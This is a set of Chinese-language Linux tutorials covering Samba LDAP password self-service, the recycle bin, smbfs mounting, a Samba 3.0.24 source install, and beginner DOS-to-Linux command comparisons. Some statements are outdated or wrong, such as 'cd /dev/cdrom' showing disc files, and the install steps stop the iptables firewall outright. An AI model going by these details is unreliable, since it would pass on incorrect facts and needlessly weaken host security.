到此为止,使用ldap目录服务器进行Samba用户验证已配置完成。但现在还是要管理员在samba服务器上使用smbpasswd命令为用户维护密码。从维护工作量和保密的角度出发,由用户自已维护自已的密码是一种最好的方法。我们借助phpldapadmin这个工具可帮我们实现该功能。具体设置方法是这样的:

首先,在设置前,需先把phpldapadmin安装好,具体的安装步骤请参考我网站上的openldap学习笔记。安装好phpldapadmin后,我们已可正常使用该工具维护目录项了。同时,通过目录服务器的权限管理,我们也可把test用户密码属性设置成只有dn是cn=test,dc=samba,dc=it,dc=com的用户和目录服务器管理员才能修改。要达到该项果,请把以下ACL加入到slapd.conf中。

access to attrs=sambaLMPassword
by dn="cn=admin,dc=com" write
by anonymous auth
by self write
by * none

access to attrs=sambaNTPassword
by dn="cn=admin,dc=com" write
by anonymous auth
by self write
by * none

重启openldap服务器使配置生效。

要修改samba用户的密码,我们只要修改smbaLMPassword和sambaNTPassword两个属性值即可,但会出错,提示修改失败,要我们去修改phpldapadmin的template_config.php文件。这是因为phpldapadmin使用了一个叫mkntpwd的程序来生成samba的加密密码。在template_config.php文件中设置了mkntpwd程序的执行路径。mkntpwd程序默认是没有安装在系统中的,我们需安装它,并把它放到在template_config.php文件里指定的执行位置(/usr/bin/)。mkntpwd的源码包含在samba的源码中,我们可进入samba的源码目下的examples/LDAP/smbldap-tools/mkntpwd目录,mkntpwd的源码全部在这里了,运行make命令,就可生成mkntpwd程序。最后把mkntpwd拷贝到/usr/bin目录下即可。

如果是debian系统,template_config.php文件就位于/etc/phpldapadmin/templates目录下。节选有关定义mkntpwd程序路径的内容如下:

...
## SAMBA TEMPLATE CONFIGURATION ##
## ---------------------------- ##
## ##
## In order to use the samba templates, you might edit the following properties: ##
## 1 - $mkntpwdCommand : the path to the mkntpwd utility provided with/by Samba. ##
## 2 - $samba3_domains : the domain name and the domain sid. ##
## ##
######################################################################################*/

// path 2 the mkntpwd utility (Customize)
$mkntpwdCommand = "/usr/bin/mkntpwd";
...

以cn=test,dc=samba,dc=it,dc=com登录进入ldap服务器,我们就可修改smbaLMPassword和sambaNTP\assword两个属性值了。其它用户的这两个属性test用户是看不到的。

其实,不使用phpldapadmin来维护samba用户密码也可以,我们完全可以用python-ldap配合mkntpwd程序自已DIY一个用户密码管理程序。

2.3. 回收站功能
samba也有回收站功能,它能把你在samba服务器中删除的文件移到回收站中,而不是真正的从磁盘删除掉。这大大提高了数据的安全性,更人性化一些。下面介绍如何设置。

[homes]
comment = Home Directories
browseable = no

# By default, the home directories are exported read-only. Change next
# parameter to 'yes' if you want to be able to write to them.
writable = yes

# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
directory mask = 0700

vfs object = recycle #启用回收站功能
recycle:keeptree = yes #保持目录的树状结构
recycle:versions = yes #相同文档名时,有不同版本
recycle:repository = ../recycle/%u #回收站的位置,每个用户都有一个目录

recycle目录的访问权限是所有用户可写,自动生成的recycle/%u目录的访问权限是只能由用户可写。

Chapter 3. 小技巧
使用tdbdump程序可以查看samba的tbd格式文件。

使用smbclient -L winserver -d 3可显示连接winserver时的Debug信息,这些信息对于跟踪连接过程和故障处理都很有用。-d是开启debug功能的选项,3代表debug的级别,可选值为0到10,数字越大显示的信息越详细。

连接中文机器名时要注意两边系统的字符集要相同,如果不同,要用unix charset和doc charset指定两边的字符集。如果两边系统的字符集不对称,则在连接时会出现以下的出错信息。

session request to failed (Called name not present)
session request to *SMBSERVER failed (Called name not present)

samba通过Windows的139和445端口进行通信,samba会先通过445端口进行连接,如果连接失败,则再尝试139端口。在NT中,SMB运行于NBT(NetBIOS over TCP/IP)上,使用137,139(UDP),139(TCP)端口。在2000/XP/2003中,SMB可以直接运行在tcp/ip上,而没有额外的NBT层,使用TCP 445端口。

手动加载smbfs文件系统的方法:

debian:#~ mount -t smbfs -o username=your_username,password=your_password,iocharset=utf8,codepage=cp936 //servername/sharename /mnt/share

我的Debian采用UTF8编码,Samba服务器的操作系统采用GB2312编码,使用iocharset=utf8和codepage=cp936选项是为了使加载的共享能正常显示中文,iocharset指定客户端的字符集,codepage指定服务器的代码页。

注意,由于该命令包含访问文件服务器的用户名和密码,为保密起见,该命令尽量不要在命令行中输入,因为bash有一个命令缓存功能,能记录你所输入的所有shell命令。我们应该采用credentials选项代替username和password选项,如下所示:

debian:#~ mount -t smbfs -o credentials=/root/smbpassword,iocharset=utf8,codepage=cp936 //servername/sharename /mnt/share

credentials=/root/smbpassword选项指定登录samba服务器的密码文件,smbpassword文件的格式如下:

username=xxxxxx
password=xxxxxx

由于在smbpassword密码文件中的密码是明文的,所以我们要设置好访问权限,只能由合法用户来读取。

我们也可把加载smbfs文件系统的方法写在fstab文件中,使它能够在系统启动时自动加载,下面是我的fstab文件,自动加载了/root/data和/root/books目录。

# /etc/fstab: static file system information.
#
#
/dev/hda3 / ext3 errors=remount-ro 0 1
/dev/hda2 none swap sw 0 0
proc /proc proc defaults 0 0
/dev/fd0 /floppy auto user,noauto 0 0
/dev/cdrom /cdrom iso9660 ro,user,noauto 0 0
//samba/data /root/data smbfs credentials=/root/smbpassword,iocharset=utf8,codepage=cp936 0 0
//samba/books /root/books smbfs credentials=/root/smbpassword,iocharset=utf8,codepage=cp936 0 0

坎坷的samba-3源码安装一:编译安装

系统是redhat9 2.4.20-8,系统自带装了samba-2.2.7a-7.9.0
下载samba最新版,文件名samba-3.0.24.tar.gz
1、解压、编译、安装
#tar xzvf samba-3.0.24.tar.gz
#cd samba-3.0.24/source
#./configure;make;make install
;没用路径参数,因为默认是/usr/local/samba
2、安装smb.conf
#cp ./samba-3.0.24/examples/smd.conf /usr/local/samba/lib
;安装目录下有很多smd.conf的例子,但/usr/local/samba/lib下却没有,所以必须copy.
#/usr/local/samba/bin/testparm
;检查smb.conf配置语法是否错误和设置是否成功(默认的smb.conf,不会有问题:)
3、配置smb.conf
#vi smb.conf
有两个地方非改不可
workgroup=mygroup(我的windows机子的工作组名,有三台win机,都是"workgroup" 工作组)
增加:unix charset=cp936
dos charset=cp936
display charset=cp936
; 这三条设置的目的是在win机上使用“网络邻居“共享到linux上的文件夹和文件时,显示汉字。
4、增加smb用户
一般linux机子上都有很多用户,比如有一个用户名是rocky,那么:/usr/local/samba/bin/smbpasswd -a rocky,就把rocky增加为smb用户了。
5、启动smb服务
#service iptables stop
#service network restart
#/usr/local/samba/sbin/smbd -D
#/usr/local/samba/sbin/nmbd -D
启动完成,然后到win机上,打开网络邻居,就可以看到linux机子。输入“rocky"和密码,就可以看到linux机子上/home/rocky的文件夹内容了。

最后一步,需要做的就是把smb服务设为开机启动。
vi /etc/rc.d/rc.local,加入/usr/local/samba/sbin/smbd -D
;/usr/local/samba/sbin/nmbd -D 就可以了。
如果启动后修改了smb.conf,重复第5条操作就可以了,不用重启。

安装并不复杂,但还是走了弯路。网上很多此类文章,有四点迷惑人:
一是如果系统里已经有samba旧版本的时候(用rpm -qagrep smaba)由源码安装的samba3.0.24无法启动,所以最好是把旧的卸载掉先(用rpm -evv samba.x.x.x).
一是显示汉字问题。很多文章的设置都是基于samba2.x的,与3.0不同。
二是相关文件存放的路径,如smb.conf,有些说在/etc/下,有的在/usr/sabma下。这一点,其实只要认真看看安装文档就解决了。
三是启动问题,大部分都提到可以/etc/rc.d/init.d/smb start,我看/etc/rc.d/init.d下并没有smb脚本,估计要自己写一个请参考坎坷的samba-3源码安装二:smb 脚本,但把启动放在/erc/rc.d/rc.local我觉得也很方便。
另外,samba安装目录下有一个docs子目录,有一个samba-howto.pdf文档,非常详尽,汉字显示的解决就是看了这个才解决的。
samba有很多详细设置,我刚安装,很多内容有待今后去实践。

linux扫盲+速成

1、什么是Linux?

  准确的说,是指Linux的kernel(系统的核心程序),其内核版权属于Linus Torvalds,在GPL(GNU General Public License)版权协议下发行, 任何人都可以自由的复制(copy), 修改(change), 套装分发(distribute),销售,但是不可以在分发时加入任何限制, 而且所有原码必须是公开的,所以任何人都可以无偿取得所有执行文件和原代码。

  对于Linux用户和系统管理员来说,Linux是指包含Linux kernel、utilities (系统工具程序)以及application (应用软件)的一个完整的操作系统。Linux的应用软件是由自由软件基金会(FSF)开发的,全世界许多热心的程序员为Linux开发或移植了很多应用程序,包括X-Windows、Emacs、TCP/IP网络(包括SLIP/PPP/ISDN)等等,现在Linux(包括内核和大量的应用程序)光是执行程序就已经达到200M,完全安装后的规模将更大(大约500M左右)。

  从本质上讲,Linux是Unix的”克隆”或Unix风格的操作系统,在原代码级上兼容绝大部分的Unix标准(如IEEE POSIX,System V,BSD),它遵从 POSIX规范,例如对于System V来说,把其上程序源代码拿到 Linux下重新编译后就可以运行,而对于BSD Unix来说,它的可执行文件可以直接在Linux环境下运行。

  Linux的标志是可爱的企鹅,至于为什么选用企鹅,Linus是这样说的:别的都被他人用了,企鹅,不是也非常可爱吗?!由Linux作者发布的仅仅是一个内核而己,有一些公司或组织把内核、原代码及相关的应用程序组织在一起发行, 于是就产生了不同的Linux发行(distributor)版本, 比较著名的发行版本有RedHat、SlackWare 、S.u.S.e、Debian 等。

 2、Linux的发展历史?

  Linux的历史可以追溯到1990年,Linus Torvalds还是芬兰赫尔辛基大学的一名学生,最初用汇编语言写了一个在80386保护模式下处理多任务切换的程序,后来从Minix(用于操作系统教学、很小的Unix)中得到灵感,发誓要写一个比Minix更好的Minix,于是开始写了一些硬件的设备驱动程序、一个小的文件系统......,这样0.0.1版本的Linux就出来了,但是它必须在有Minix的机器上编译以后才能玩,这时候的Linus已经完全“走火入魔”了,决定踢开Minix“闹革命”,于是在1991年10月5号发布了Linux 0.0.2版本,这个版本已经可以运行bash(一种用户与操作系统内核通讯的软件)和gcc(GNU C编译器)了。

  Linus从一开始,就决定自由扩散Linux、包括源代码,他把源代码发布在网上,随即就引起爱好者的注意,他们通过互连网也加入了Linux的内核开发工作,一大批高水平程序员的加入,使得Linux达到迅猛发展,到1993年底,Linux 1.0终于诞生。Linux 1.0已经是一个功能完备的操作系统了,其内核写得紧凑高效,可以充分发挥硬件的性能,在4M内存的80386机器上也表现得非常好。

  很多人对Linux的认识有个误区,即总把Linux与低档硬件平台联系到一起,其实从2.1.xx系列内核开始,Linux就开始走高端的路子了,大约在1.3版本之后,开始向其他硬件平台上移植,包括号称最快的CPU---Digital Alpha(目前主频是最高的),目前Linux能将硬件的性能充分发挥出来,可以囊括低端到高端的所有应用。

  Linux加入GNU并遵循公共版权许可证(GPL),由于不排斥商家对自由软件进一步开发,不排斥在Linux上开发商业软件,故而使Linux又开始了一次飞跃,出现了很多的Linux发行版,如Slackware、Redhat、Suse、TurboLinux、OpenLinux等十多种,而且还在增加,还有一些公司在Linux上开发商业软件或把其他Unix平台的软件移植到Linux上来,如今很多IT界的大腕如IBM、Intel、Oracle、Infomix、Sysbase、Corel、Netscape、CA、Novell等都宣布支持Linux! 商家的加盟弥补了纯自由软件的不足和发展障碍,Linux得以迅速普及。


1、如何快速掌握Linux?

  方法是多动手、动脑,学习时要经常与Windows进行对比。建议你先安装RedHat Linux,然后练习如何配置它,如何使用Linux命令,如何在X—WINDOWS下操作,如何在Linux下安装应用软件,如何在Linux下上网、编辑文档、播放多媒体文件、玩游戏等。

  快速上手的方法只有一个,那就是多动手操作,看看你能否完成上面的工作。

2、Linux与Windows有哪些异同点?

  Windows是图形界面的,Linux类似以前的DOS,是文本界面的,如果你运行了图形界面程序X-WINDOWS后,Linux也能显示图形界面,也有开始菜单、桌面、图标等。

  Windows有MS-DOS方式,在该方式下通过输入DOS命令来操作电脑;而Linux与Windows类似,也有命令方式,Linux启动后如果不执行X-WINDOWS,就会处于命令方式下,必须发命令才能操作电脑。另外Linux上也有很多的应用软件,安装运行了这些软件后,你就可以在Linux上编辑文档、图片,玩游戏、上网、播放多媒体文件等。

  不过Linux的分区格式和目录结构,与Windows迥然不同,应用软件的安装方式也不同。

3、安装Linux时的注意事项

  安装前确定好Linux安装在哪个分区,Linux也有系统分区和Swap分区(类似Windows的虚拟分区,即交换文件)两个分区。由于Linux支持的分区格式与Windows分区格式不同,所以如果安装了Linux后,Windows还能继续使用,Linux就应该安装在硬盘分区的最后一个扩展分区;其次Linux的Swap分区必须保证有60MB,系统分区最少要保证240MB;此外安装前搜集好PC硬件方面的信息,特别是显示器信息,这将直接决定你安装Linux后,使用图形界面程序的效果;在安装、使用中输入命令时,请注意大小写。

4、掌握Linux的目录结构

  Linux的目录结构与Windows不同,而且在Windows下看不到Linux的目录,反过来,Linux也看不到Windows下的目录。Linux下各目录的含义如下:

目录名称 意 义
/vmlinuz 该目录中存放的是系统内核
/bin 该目录中存放Linux的常用命令,在有的版本中是一些和根目录下相同的目录。
/boot 该目录下存放的都是系统启动时要用到的程序,当用lilo引导Linux时,会用到这里的一些信息
/dev 该目录包含了Linux系统中使用的所有外部设备,它实际上是访问这些外部设备的端口,你可以访问这些外部设备,与访问一个文件或一个目录没有区别。例如在系统中键入“cd /dev/cdrom”,就可以看到光驱中的文件;键入“cd /dev/mouse”即可看鼠标的相关文件。
/cdrom 该目录在刚安装系统时是空的,你可以将光驱文件系统挂在这个目录下, 例如“mount /dev/cdrom /cdrom”
/etc
该目录存放了系统管理时要用到的各种配置文件和子目录,例如网络配置文件、文件系统、X系统配置文件、设备配置信息、设置用户信息等。
/sbin 该目录用来存放系统管理员的系统管理程序。
/home 如果建立一个名为“xx”的用户,那么在/home目录下就有一个对应的“/home/xx”路径,用来存放该用户的主目录。
/lib 该目录用来存放系统动态连接共享库,几乎所有的应用程序都会用到该目录下的共享库
/lost+found 该目录在大多数情况下都是空的。但当突然停电、或者非正常关机后,有些文件就临时存放在这里。
/mnt 该目录在一般情况下也是空的,你可以临时将别的文件系统挂在该目录下。
/proc 可以在该目录下获取系统信息,这些信息是在内存中由系统自己产生的
/root 如果你是以超级用户的身份登录的,这个就是超级用户的主目录
/tmp 用来存放不同程序执行时产生的临时文件
/usr 用户的很多应用程序和文件都存放在该目录下

5、Linux的常用命令

  如果在Linux命令行模式下遇到不会用的命令,你可以打"man [command]"得到该命令的帮助,如果想知道一个命令有哪些参数,可以打command -help来得到。

  注意:linux中的参数输入形式和dos不一样,在命令后面应该打一个空格,然后打"-",最后再跟一个或多个参数;另外linux下大小写是有区别的!

  下面介绍几个linux下最常用的命令,每个命令都与对应的dos命令作比较,并列出一些常用的参数。

命令参数 意 义
Ls
-a列出系统中的隐含文件,linux下的隐含文件是靠文件名的格式来表示的,不同于dos是靠文件属性来表示,即只要该文件以“.”开头,那么它就是隐含文件。
-l以长式列出。就是把该文件或目录的所有信息都列出来,一个文件占一行
相当于dos下的dir命令,是列文件列表的命令。
cd 和dos下的cd一样,转换目录的命令。 注意:linux下转到上级目录要打"cd .."而不是dos下的"cd..",即"cd"后面要有个空格
pwd 列出当前目录命令,相当于dos下没有参数的cd命令。例如:
[root@ttqq bin]# pwd /usr/bin [root@ttqq bin]# 这表示目前在"/usr/bin"目录下。
Mkdir
-m mode表示建立目录时默认的目录模式。这个是dos和Windows所没有的功能,主要是关于权限的问题。
建立新目录,相当于dos的md命令。一般就用 mkdir [dirname]
rmdir 删除目录,相当于dos的rd命令。
用法:rmdir [dirname]
cat 在文件后面追加文件,或在屏幕上打印文件内容,追加功能相当于dos的copy file1+file2,而在屏幕上打印文件内容可以和dos的typeml来类比。如果文件太大,在一屏上无法完全显示,则可用more命令
more 分屏显示文件内容,和dos下的more命令大致相同,但它可以和别的命令搭配使用。如:cat /home/eec/myfile | more。
cp

-r相当于dos的xcopy/s。用于拷贝一个目录下的所有子目录和文件 拷贝文件,相当于dos下的copy,使用方法与dos下的copy一样。

=======================================

系统安装: Linux快速入门

不少初学者都觉得Linux操作系统难用,现特将Linux中的基本操作与DOS操作系统中相似的操作对照比较如下,以让大家尽快入门


[一、基础知识]
1、[系统安装]
Linux的安装时,使用Tab、箭头、空格、回车等键做出选择。Linux一般须安装在单独的分区下,为避免Windows系统中的注册表、快捷方式路径出错,最好安装在硬盘的最后一个分区。即将最后的一个分区删除后,用分区软件(建议用Pqmagic)分为Linux Native(根分区)和Linux Swap(数据交换区),如果您的硬盘大于8G,您的Linux root分区应安装在前8G之内(linux 根分区终止扇区 <1023 柱面)。Native分区一般要大于240MB,具体大小视安装的Linux组件决定,建议不要大于2G。Swap分区必须有60MB以上。安装前要搜集好您的硬件信息如:CPU、内存、显示器、显卡、鼠标、键盘等。Linux的版本有很多,而且不断更新,根据提示安装一般都可顺利完成。

2、[登陆进入]
默认安装,启动后在出现的Lilo boot:之后输入Linux(或回车),Linux便开始启动,当出现登陆提示符Login:时,输入用户名,然后出现口令提示符password:输入口令。可进入相应的用户环境。如输入:root,及其密码,可进入超级用户环境#,输入其他用户名及口令,可进入该用户环境$(当然由于版本的不同还可能是%等)。

3、[关闭系统]
在超级用户提示符#下输入halt(立即关机)或shutdown [time](延迟time分后关机,给各用户每隔一段时间发出还有多长时间将关机的警告)后,计算机将进行一系列的关机工作,最后出现System halt时,表示可以关闭电源了。非超级用户则需用exit命令退出操作环境,再用超级用户:root登陆,才能执行关闭操作。

4、[注意事项]
与DOS不完全相同的地方:

  DOS Linux 备注
命令行字母 不区分大小写 区分大小写 在Linux中,超级用户的系统提示符是#,一般普通用户的系统提示符是$,普通用户的系统提示符也同DOS一样可以更改。通配符中*、?与DOS中的含义相同,[]是仅包括括号内的符号,连续的符号可用“-”连接首尾的符号代替,如[12345678]可以用[1-8]代替,[abcdefijk]可用[a-fi-k ]表示。
路径分隔符 /
提示符 > #、$
通配符 *、? *、?、[]

5、[文件类型]
与DOS、Windows不同,在Linux系统中,目录和设备都被视为文件,共有四种文件类型,它们是:⑴普通文件,即我们通常所说的文件,在长列目录方式时行首前用一符号“-”表示。⑵目录文件,即我们通常所说的目录,在长列目录方式时行用首前用一字母“d”表示。⑶字符设备文件,如显示器、打印机、终端等,在长列目录方式时行首前用一字母 “c”表示。⑷块设备文件,如硬盘、软盘、光盘在长列目录方式时行首前用一字母“b”表示。在Linux中用长格式列目录命令ls -l时,例如:

-rwxrw-r-- 5 user group 1089 Nov 18 1998 filename
存取权限 用户 组名 字节数 最后修改时间 文件名

DOS下的文件名是8.3格式的,Windows95以后开始支持长文件名,Linux支持长文件名。在DOS下扩展名是com、exe或bat的文件为可执行文件,但在Linux中文件类型只能通过文件属性得知,用命令ls –F可区分目录和文件,后有“/”符号的为目录,后有“*”符号的为可执行文件,用ls –aF可列出所有的文件和目录,包括隐藏的文件和目录,文件名以点号“.”开头的为隐藏文件。

6、[读取权限]
在Linux中,文件的主人称所有者,其他使用者分别称为同组者、其他人,为保证各用户文件的安全,Linux继承了UNIX的作法,通过设定存取权限,限制某些用户对文件的随意存取。共有三个级别的存取权:读权r、写权w、执行权x。在存取权中共有九个字符的位置其顺序是:所有者、同组人、其他人。在上例中分别表示:主人对文件拥有读写权和执行权,同组人对文件拥有读写权、其他人对文件只拥有读权。

7、[使用帮助]
在Linux中,您只要在命令行中打上man command(您要看帮助的命令),就可以得到该命令的在线帮助。man有一套它自己的命令,通常由单个键组成,按空格键和F键将翻到下一页,按B键翻到上一页,按Q键退出man,回到命令行。

[二、文件管理和目录操作]
1、[文件管理]

功能 DOS Linux 备注
显示文件内容 type、more cat、more type、cat是全部显示,more是分页显示
拷贝文件 copy cp
移动文件及改名 move mv
删除文件 del、erase rm
打印文件 print lpr

2、[目录操作]

功能 DOS Linux 备注
列目录及文件 dir/选项 ls –选项 在Linux中cd/是直接返回登录时的目录而不是根目录
显示当前目录 cd pwd
变更工作目录 cd目录 cd/目录
建立目录 md、mkdir mkdir
删除目录 rd、rmdir rmdir
目录更名 move mv
拷贝目录 xcopy copy

据说很多DOS命令都是借鉴UNIX的,而Linux又是从UNIX发展起来,故DOS和Linux命令的格式很相似,只是Linux的命令的功能更加强大,各选项、参数有较大区别,具体运用时可使用帮助命令。

[三、外存储器的使用]
在Linux中一般不能直接访问软盘、其他硬盘逻辑分区、光盘等,在Linux中它们都被视为文件,在使用前必须使用装载命令mount将它们装载到系统的/mnt目录中,使用结束后还须卸载。命令格式如下:

mount –t 文件系统类型 设备名 装载目录

常用的文件类型有:
msdos dos分区文件
vfat 支持长文件名的dos分区
ext2 Linux的文件系统
swap Linux swap分区或swap文件
iso9660 安装CD-ROM的文件系统
hpfs OS/2分区文件系统

设备名是指要装载的设备的名称,如软盘、硬盘、光盘等,软盘一般为/dev/fd0 fd1,硬盘一般为/dev/hda hdb ,硬盘逻辑分区一般为期hda1 hda2…等等,光盘一般为/dev/hdc。在装载前一般要在/dev/mnt目录下建立一个空的目录(名字自拟),如软盘可为floppy,硬盘分区可为其盘符如c、d等等,光盘可为cd-rom,个体使用例子:

装载一个mddos格式的软盘:mount –t msdos /dev/fd0 /mnt/floppy
装载一个Linux格式的软盘:mount –t ext2 /dev/fd0 /mnt/floppy
装载Windows98格式的硬盘分区(C盘):mount –t vfat /dev/hda1 /mnt/c
装载一个光盘:mount –t iso9660 /dev/hdc /mnt/cd-rom

装载完成后便可对该目录进行操作,在使用新的软盘及光盘前必须退出该目录,使用卸载命令umount卸载,才可以使用新的软盘及光盘,否则系统会不承认的,光盘在卸载前是不能用光驱面板前的弹出键退出的。

以上只是Linux基本的知识,不过相信您掌握后便已快速步入Linux了之门,进一步深入学习其他Linux知识了应该不成问题了。